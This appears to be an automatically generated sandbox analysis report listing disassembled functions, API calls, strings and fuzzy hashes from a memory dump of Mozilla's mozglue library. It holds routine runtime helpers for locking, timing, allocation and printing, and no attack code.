Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C695710 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

Part of subcall function 6C697090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C69B9F1,?), ref: 6C697107

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C69EB71), ref: 6C6957AB

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

qil, xrefs: 6C695860
!oi/, xrefs: 6C695720, 6C69589D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$CurrentProcessRelease$AcquireTerminateThread
String ID: !oi/$qil
API String ID: 2617131280-1132624395
Opcode ID: 89213bb0eaf3725a53ee90adfcf014b3f34064c44913baf98c4991bf94bc09ef
Instruction ID: a5d1375acecab6abab7044ce1afa0e604f6d46e0795bc89b05da3c1648341404
Opcode Fuzzy Hash: 89213bb0eaf3725a53ee90adfcf014b3f34064c44913baf98c4991bf94bc09ef
Instruction Fuzzy Hash: 7B517C31E08B859BD704CF38C5812A5B3A0BF9A218F14D619DD9D1A253EB30B9D8C795

Function 6C6B2570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6C6B2655
__Init_thread_footer.LIBCMT ref: 6C6B26BE

Strings

!oi/, xrefs: 6C6B257F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: !oi/
API String ID: 1226231535-845032489
Opcode ID: 62d914168933869bdf60863a5c401095cd73ea78fcb661259dae401da460e450
Instruction ID: 3db07fb03a84098d89a199f779ea265b144acfcf4a03b87ac9d6762b8c73d2a0
Opcode Fuzzy Hash: 62d914168933869bdf60863a5c401095cd73ea78fcb661259dae401da460e450
Instruction Fuzzy Hash: CB41CDB19002048FCB14CF19D48899ABBF1FF4A310B1585AEC819ABB51D731A955CFEA

Function 6C6B0DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6B0EFC

Part of subcall function 6C6A1B80: GetCurrentThreadId.KERNEL32 ref: 6C6A1B98
Part of subcall function 6C6A1B80: AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1D96,00000000), ref: 6C6A1BA1
Part of subcall function 6C6A1B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1D96,00000000), ref: 6C6A1BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C6B0E50

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

Strings

!oi/, xrefs: 6C6B0DF0

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: !oi/
API String ID: 2508600278-845032489
Opcode ID: 45c1b30768deb86126bca6843677f48f4fa12a3e94f1468efd8e138927633f66
Instruction ID: 4da5ad0a6dc31c60ff154cae34aaf8be12b198fd4b4d0e59f384b46cd4736459
Opcode Fuzzy Hash: 45c1b30768deb86126bca6843677f48f4fa12a3e94f1468efd8e138927633f66
Instruction Fuzzy Hash: 764179B57087429FC704CF29C580A5ABBF5FF89318F40491DE98597B41DB30E81ACB9A

Function 6C6AC570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C6AC605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6C6AC672

Strings

!oi/, xrefs: 6C6AC581

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: !oi/
API String ID: 3401907645-845032489
Opcode ID: 0b89e551ee7d096f18ab23abe8446e1a3fd8329dc62df4f8266b15ce20dc5d39
Instruction ID: 6f46c32843bf62f4d1479d69748f2b40c25ccf0ada50fa5e5690a0a715930e0f
Opcode Fuzzy Hash: 0b89e551ee7d096f18ab23abe8446e1a3fd8329dc62df4f8266b15ce20dc5d39
Instruction Fuzzy Hash: CE414871604705AFC718DF29C88095ABBF1FF89318B008A2EE94A87B50E731FD15CB95

Function 6C6B0480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C6B041E,?,6C6B03C0), ref: 6C6B04D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B041E), ref: 6C6B04E3

Strings

!oi/, xrefs: 6C6B0490

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: !oi/
API String ID: 1952960883-845032489
Opcode ID: 6d8ab5bcfef5289edd7a3383cdcc1014afedb92ad201b9b13568d5fa00c862ac
Instruction ID: cbcee5575f6eb27ad0c5b8c030d2648faeda212e5553fb3340317c77aea978bc
Opcode Fuzzy Hash: 6d8ab5bcfef5289edd7a3383cdcc1014afedb92ad201b9b13568d5fa00c862ac
Instruction Fuzzy Hash: 0E21D4A0D047848BE7408F3D89813A5B7F4BF99318F049659DD8896223FB70A5D8C785

Function 6C6A1C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C6A759E,?,?), ref: 6C6A1CB4
free.MOZGLUE(?,?,?,?,?,?,6C6A759E,?,?,?,?,?,?,?,?,?), ref: 6C6A1CE9

Strings

!oi/, xrefs: 6C6A1C70

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: !oi/
API String ID: 876075630-845032489
Opcode ID: 8c59f1e8fb9a21a64fccaaa46b388bd5e7c46326602fbb275a2eb146c443b6ba
Instruction ID: 07168b8ccc5c50a87f2caa85bb33425b126acd2ba7afd8d809894bd6f354894a
Opcode Fuzzy Hash: 8c59f1e8fb9a21a64fccaaa46b388bd5e7c46326602fbb275a2eb146c443b6ba
Instruction Fuzzy Hash: 63118F31900B059BC321CF29C8506A6B7F0BF8A718F40461DD99A97A40EB71F999CB95

Function 6C6A1680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

Part of subcall function 6C6A1700: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,6C6A16CD), ref: 6C6A17DC

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,6C694F39,?,?,?,?,6C6955F5,?), ref: 6C6A16E6

Strings

!oi/, xrefs: 6C6A1691
9Oil, xrefs: 6C6A168E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_
String ID: !oi/$9Oil
API String ID: 1463952509-1507521706
Opcode ID: a8fcbf6e37bd3851d973bc9c621a3e17a525ac3a8029983b80f21f9d1b592725
Instruction ID: d419f18c1ccc27eb7341c9d41cb3b19576f7d8eee77e77e7b7d55720db8d59d2
Opcode Fuzzy Hash: a8fcbf6e37bd3851d973bc9c621a3e17a525ac3a8029983b80f21f9d1b592725
Instruction Fuzzy Hash: B2111EB5A002099FCB00CFA9D884AEEBBF9EF49254F55402AD945E7351E730E948CBA4

Function 6C6A0E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6A0E16

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A0E45

Strings

!oi/, xrefs: 6C6A0E0C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: !oi/
API String ID: 488134835-845032489
Opcode ID: e8ac7d202f5160fc0dc306c3c746fd4716157da7b22bf23b585795f3a96be3bd
Instruction ID: 7fe0b3a9518d9ac181bae9b5bb90e69b50017753f5fb33369a3ab151f811f445
Opcode Fuzzy Hash: e8ac7d202f5160fc0dc306c3c746fd4716157da7b22bf23b585795f3a96be3bd
Instruction Fuzzy Hash: 86114CB16082459FC700DF69D48129FBBF0FF8A218F15882DE88997701D730A855CBAB

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE ref: 6C6B6FAA

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6FF0

Strings

!oi/, xrefs: 6C6B6F92

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave
String ID: !oi/
API String ID: 1067246555-845032489
Opcode ID: 0ff85149b4771253905adffc5e6a548bde4afacceab3ebb2e203bd743d21a298
Instruction ID: b5128c8ac51d94e8d73d10f3cfc509fcc7513aa8d5a1b767e11ca5ce47de9377
Opcode Fuzzy Hash: 0ff85149b4771253905adffc5e6a548bde4afacceab3ebb2e203bd743d21a298
Instruction Fuzzy Hash: 3011F8B59083198BCB08DF59D4845AEBBF4FF89304F00886EE88997350D734AA49CF96

Function 6C66BE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C66BE64
__aulldiv.LIBCMT ref: 6C66BE86

Strings

!oi/, xrefs: 6C66BE4D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: !oi/
API String ID: 218403179-845032489
Opcode ID: d48eb9ee32caf50f57d9efd83528fbf8cfd0d79728328be5eb619c47037d1057
Instruction ID: 1a1cb87e41037afc2ff69c99d218fd2337fbed4f47ebd0ba5bb578ee6eeead2c
Opcode Fuzzy Hash: d48eb9ee32caf50f57d9efd83528fbf8cfd0d79728328be5eb619c47037d1057
Instruction Fuzzy Hash: 78012631A04341EBCB009F3AC8857467BF4DF86354F208619F5A583A91D770B094C78E

Function 6C6AE850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6AE878

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6AE8AC

Strings

!oi/, xrefs: 6C6AE85E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: StampTimeV01@@Value@mozilla@@$Count64CriticalEnterSectionTick
String ID: !oi/
API String ID: 1404550236-845032489
Opcode ID: 1e5daed6cedfc61a7474471a21902b8d68a97e940985d090614f12117435350c
Instruction ID: a35f85d115a1cf46954b972ff0e18d65a6bf0cae23febe8b0f8e3e8b5e0d083a
Opcode Fuzzy Hash: 1e5daed6cedfc61a7474471a21902b8d68a97e940985d090614f12117435350c
Instruction Fuzzy Hash: 17F04C21A1424453A724CF7E9C814EBB7E5DFC9364B60032EE91053240FB7065DA42E9

Function 6C6B6D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6C6B6CA1), ref: 6C6B6D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6C6B6CA1), ref: 6C6B6D6B

Strings

!oi/, xrefs: 6C6B6D3C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: !oi/
API String ID: 2004917493-845032489
Opcode ID: 678627ff62eeb3c30394659575fde1a01ff25aa4a70ccc4fab36b7550f910ac7
Instruction ID: 4bf5583f80fca64c2c5b7cc64654b5786f1c6a417deb418fd761aa368641b92c
Opcode Fuzzy Hash: 678627ff62eeb3c30394659575fde1a01ff25aa4a70ccc4fab36b7550f910ac7
Instruction Fuzzy Hash: C3011D71B002199FCB109F59C8909DFBBE8EF89654B41841AE8499B740D731A904CBE4

Function 6C6994D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
